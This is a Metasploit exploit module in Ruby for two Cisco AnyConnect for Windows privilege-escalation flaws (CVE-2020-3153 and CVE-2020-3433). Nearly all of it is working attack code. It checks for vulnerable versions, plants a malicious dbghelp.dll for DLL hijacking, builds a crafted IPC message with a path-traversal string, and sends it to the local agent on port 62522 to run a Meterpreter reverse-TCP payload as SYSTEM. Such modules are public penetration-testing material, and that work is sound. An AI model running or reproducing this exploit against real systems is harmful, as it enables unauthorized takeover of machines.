The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges. The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers to execute code on the affected machine with with system level privileges. Both attacks consist in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service.
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',
'Description' => %q{
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
to create/overwrite files in arbitrary locations with system level privileges.
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers
to execute code on the affected machine with with system level privileges.
Both attacks consist in sending a specially crafted IPC request to the TCP
port 62522 on the loopback device, which is exposed by the Cisco AnyConnect
Secure Mobility Agent service. This service will then launch the vulnerable
installer component (`vpndownloader`), which copies itself to an arbitrary
location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being
executed with system privileges. Since `vpndownloader` is also vulnerable to DLL
hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same
location `vpndownloader` will be copied to get code execution with system
privileges.
The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect
Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been
successfully tested against Cisco AnyConnect Secure Mobility Client versions
4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version
1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yorick Koster', # original PoC CVE-2020-3153, analysis
'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module
'Christophe De La Fuente' # msf module for CVE-2020-3153
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[
'Windows x86/x64 with x86 payload',
{
'Arch' => ARCH_X86
}
]
],
'Privileged' => true,
'References' =>
[
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
['CVE', '2020-3153'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],
['CVE', '2020-3433']
],
'DisclosureDate' => 'Aug 05 2020',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'FileDropperDelay' => 10
}
)
)
register_options [
OptString.new('INSTALL_PATH', [
false,
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
' should be found). It will be automatically detected if not set.'
]),
OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
# See AnyConnect IPC protocol articles:
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
class CIPCHeader < BinData::Record
endian :little
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
uint8 :message_type, label: 'Message Type', initial_value: 1
uint8 :message_id, label: 'Message ID', initial_value: 2
end
class CIPCTlv < BinData::Record
endian :big
uint8 :msg_type, label: 'Type'
uint8 :msg_index, label: 'Index'
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
stringz :msg_value, label: 'Value', length: -> { msg_length }
end
class CIPCMessage < BinData::Record
endian :little
cipc_header :header, label: 'Header'
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
end
def detect_path
program_files_paths = Set.new([get_env('ProgramFiles')])
program_files_paths << get_env('ProgramFiles(x86)')
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
program_files_paths.each do |program_files_path|
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))
return "#{program_files_path}\\#{path}"
end
nil
end
def sanitize_path(path)
return nil unless path
path = path.strip
loop do
break if path.last != '\\'
path.chop!
end
path
end
def check
install_path = sanitize_path(datastore['INSTALL_PATH'])
if install_path&.!= ''
vprint_status("Skipping installation path detection and use provided path: #{install_path}")
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
else
vprint_status('Try to detect installation path...')
@installation_path = detect_path
end
unless @installation_path
return CheckCode.Safe('vpndownloader.exe not found on file system')
end
file_path = "#{@installation_path}\\vpndownloader.exe"
vprint_status("Found vpndownloader.exe path: '#{file_path}'")
version = file_version(file_path)
unless version
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
end
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
patched_version_cve_2020_3153 = Gem::Version.new('4.8.02042')
patched_version_cve_2020_3433 = Gem::Version.new('4.9.00086')
@ac_version = Gem::Version.new(version.join('.'))
if @ac_version < patched_version_cve_2020_3153
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3153} (CVE-2020-3153 & CVE-2020-3433).")
elsif (@ac_version < patched_version_cve_2020_3433) && !cve_2020_3153
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version_cve_2020_3433} (CVE-2020-3433).")
elsif (@ac_version < patched_version_cve_2020_3433) && cve_2020_3153
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3153} (However CVE-2020-3433 can be used).")
else
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version_cve_2020_3433}.")
end
end
def exploit
fail_with(Failure::None, 'Session is already elevated') if is_system?
if !payload.arch.include?(ARCH_X86)
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
end
check_result = check
print_status(check_result.message)
if check_result == CheckCode::Safe
unless @installation_path
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
end
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')
end
print_warning('Override check result and attempt exploitation anyway')
end
cac_cmd = '"CAC-nc-install'
if @ac_version && @ac_version >= Gem::Version.new('4.7')
vprint_status('"-ipc" argument needed')
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
else
vprint_status('"-ipc" argument not needed')
end
cve_2020_3153 = (datastore['CVE'] == 'CVE-2020-3153')
if cve_2020_3153
program_data_path = get_env('ProgramData')
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
else
temp_path = get_env('TEMP')
junk = Rex::Text.rand_text_alphanumeric(6)
temp_path << "\\#{junk}"
mkdir(temp_path)
dbghelp_path = "#{temp_path}\\dbghelp.dll"
end
print_status("Writing the payload to #{dbghelp_path}")
begin
payload_dll = generate_payload_dll(dll_exitprocess: true)
write_file(dbghelp_path, payload_dll)
register_file_for_cleanup(dbghelp_path)
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
end
if cve_2020_3153
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
# normal process will copy the file to
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
junk = Rex::Text.rand_text_alphanumeric(4)
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
else
cac_cmd << "\t#{@installation_path}\\vpndownloader.exe\t#{dbghelp_path}\""
end
vprint_status("IPC Command: #{cac_cmd}")
cipc_msg = CIPCMessage.new
cipc_msg.body << CIPCTlv.new(
msg_type: 0,
msg_index: 2,
msg_value: cac_cmd
)
cipc_msg.body << CIPCTlv.new(
msg_type: 0,
msg_index: 6,
msg_value: "#{@installation_path}\\vpndownloader.exe"
)
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
begin
socket = client.net.socket.create(
Rex::Socket::Parameters.new(
'PeerHost' => '127.0.0.1',
'PeerPort' => 62522,
'Proto' => 'tcp'
)
)
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
socket.write(cipc_msg.to_binary_s)
socket.flush
# Give FileDropper some time to cleanup before handing over to the operator
Rex.sleep(3)
ensure
if socket
vprint_status('Shutdown the socket')
socket.shutdown
end
end
end